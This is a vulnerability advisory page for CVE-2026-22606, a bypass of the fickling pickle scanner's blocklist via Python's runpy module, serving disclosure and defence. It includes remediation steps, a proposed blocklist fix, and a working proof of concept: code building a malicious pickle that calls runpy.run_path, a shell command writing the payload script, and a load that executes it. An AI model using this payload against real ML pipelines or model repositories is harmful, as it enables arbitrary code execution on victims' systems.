CVE-2026-22606: fickling: Allowlist Bypass evades input filtering

GHSA-wfq2-52f7-7qvj HIGH PoC AVAILABLE CISA: ATTEND
Published January 9, 2026
CISO Take

If your ML pipeline uses Fickling ≤0.1.6 to vet pickle files before loading, your security gate is broken — a trivial runpy bypass allows RCE through files rated only 'SUSPICIOUS'. Update to fickling 0.1.7 immediately and re-scan any pickle files previously cleared. Until patched, treat all Fickling 'SUSPICIOUS' ratings as 'OVERTLY_MALICIOUS' and block them.

What is the risk?

HIGH. Exploitation requires no special skills — substituting os.system with runpy.run_path() defeats Fickling's blocklist with zero additional complexity. The vulnerability is particularly dangerous because it subverts the one tool specifically designed to prevent pickle-based RCE, creating false confidence in a broken security control. Organizations with automated ML pipelines accepting third-party model files face unmitigated RCE exposure. EPSS is low (0.00063) as it's a niche tool, but blast radius for affected orgs is severe given the safety-gate-bypass nature.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Fickling pip <= 0.1.6 0.1.7
636 OpenSSF 7.9 58 dependents Pushed 5d ago 100% patched ~5d to patch Full package profile →

Do you use Fickling? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.4%
chance of exploitation in 30 days
Higher than 34% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

6 steps
  1. PATCH

    Update fickling to v0.1.7 — the fix adds runpy, runpy.run_path, runpy.run_module, and runpy._run_code to the unsafe imports blocklist.

  2. RE-SCAN: Re-run Fickling 0.1.7 on any pickle files previously cleared by ≤0.1.6, especially those rated 'SUSPICIOUS'.

  3. AUDIT LOGS

    Review Fickling scan logs from the past 90 days for 'SUSPICIOUS' ratings — treat these as potential false negatives pending re-scan.

  4. DEFENSE-IN-DEPTH: Migrate model weights to safetensors format; avoid pickle entirely for ML artifacts where possible. Implement sandboxed deserialization environments.

  5. DETECTION

    Add static analysis rules searching for 'runpy' imports in pickle disassembly output from pickletools.

  6. POLICY

    Enforce that no Fickling version prior to 0.1.7 is used in any automated security gate.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art.9 - Risk Management System
ISO 42001
A.6.1.6 - Supply chain for AI systems A.9.3 - Incident management for AI systems
NIST AI RMF
MANAGE-2.2 - Mechanisms for identifying and managing AI risks across the lifecycle
OWASP LLM Top 10
LLM03:2025 - Supply Chain

Frequently Asked Questions

What is CVE-2026-22606?

If your ML pipeline uses Fickling ≤0.1.6 to vet pickle files before loading, your security gate is broken — a trivial runpy bypass allows RCE through files rated only 'SUSPICIOUS'. Update to fickling 0.1.7 immediately and re-scan any pickle files previously cleared. Until patched, treat all Fickling 'SUSPICIOUS' ratings as 'OVERTLY_MALICIOUS' and block them.

Is CVE-2026-22606 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-22606, increasing the risk of exploitation.

How to fix CVE-2026-22606?

1. PATCH: Update fickling to v0.1.7 — the fix adds runpy, runpy.run_path, runpy.run_module, and runpy._run_code to the unsafe imports blocklist. 2. RE-SCAN: Re-run Fickling 0.1.7 on any pickle files previously cleared by ≤0.1.6, especially those rated 'SUSPICIOUS'. 3. AUDIT LOGS: Review Fickling scan logs from the past 90 days for 'SUSPICIOUS' ratings — treat these as potential false negatives pending re-scan. 4. DEFENSE-IN-DEPTH: Migrate model weights to safetensors format; avoid pickle entirely for ML artifacts where possible. Implement sandboxed deserialization environments. 5. DETECTION: Add static analysis rules searching for 'runpy' imports in pickle disassembly output from pickletools. 6. POLICY: Enforce that no Fickling version prior to 0.1.7 is used in any automated security gate.

What systems are affected by CVE-2026-22606?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, model repositories, MLOps CI/CD pipelines, supply chain.

What is the CVSS score for CVE-2026-22606?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

training pipelinesmodel servingmodel repositoriesMLOps CI/CD pipelinessupply chain

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0074 Masquerading
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Art.9
ISO 42001: A.6.1.6, A.9.3
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

# Fickling's assessment `runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66). # Original report ### Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. ### Details The `runpy` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types). Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code` Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `runpy` How the bypass works: 1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__` 2. Fickling's `UnsafeImports` analysis does not flag `runpy` as dangerous 3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity 4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec` Tested behavior (fickling 0.1.6): | Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS | Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:** - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip) Step 1: Create malicious pickle import pickle import runpy class MaliciousPayload: def __reduce__(self): return (runpy.run_path, ("/tmp/malicious_script.py",)) with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f) Step 2: Create the malicious script that will be executed echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py Step 3: Analyze with fickling fickling --check-safety malicious.pkl Expected output (if properly detected): Severity: OVERTLY_MALICIOUS Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } } Step 4: Prove RCE by loading the pickle import pickle pickle.load(open("malicious.pkl", "rb")) # Check: ls /tmp/pwned <-- file exists, proving code execution Pickle disassembly (evidence): 0: \x80 PROTO 4 2: \x95 FRAME 92 11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP ### Impact Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502). Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system. Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with `runpy`

Exploitation Scenario

An attacker targeting an organization's ML pipeline uploads a malicious model.pkl to an internal or third-party model registry. The file embeds a __reduce__ method calling runpy.run_path('/tmp/payload.py') to execute attacker-controlled code. The CI/CD pipeline runs Fickling 0.1.6 to vet the upload — Fickling returns 'SUSPICIOUS' (not 'OVERTLY_MALICIOUS') and the automated gate passes it. The model is promoted to the model registry. When an automated retraining job or data scientist loads the model, the embedded payload executes with the process's privileges: exfiltrating cloud credentials, establishing persistence, or laterally moving to training infrastructure.

Weaknesses (CWE)

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

  • [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.

Timeline

Published
January 9, 2026
Last Modified
January 11, 2026
First Seen
March 24, 2026

Related Vulnerabilities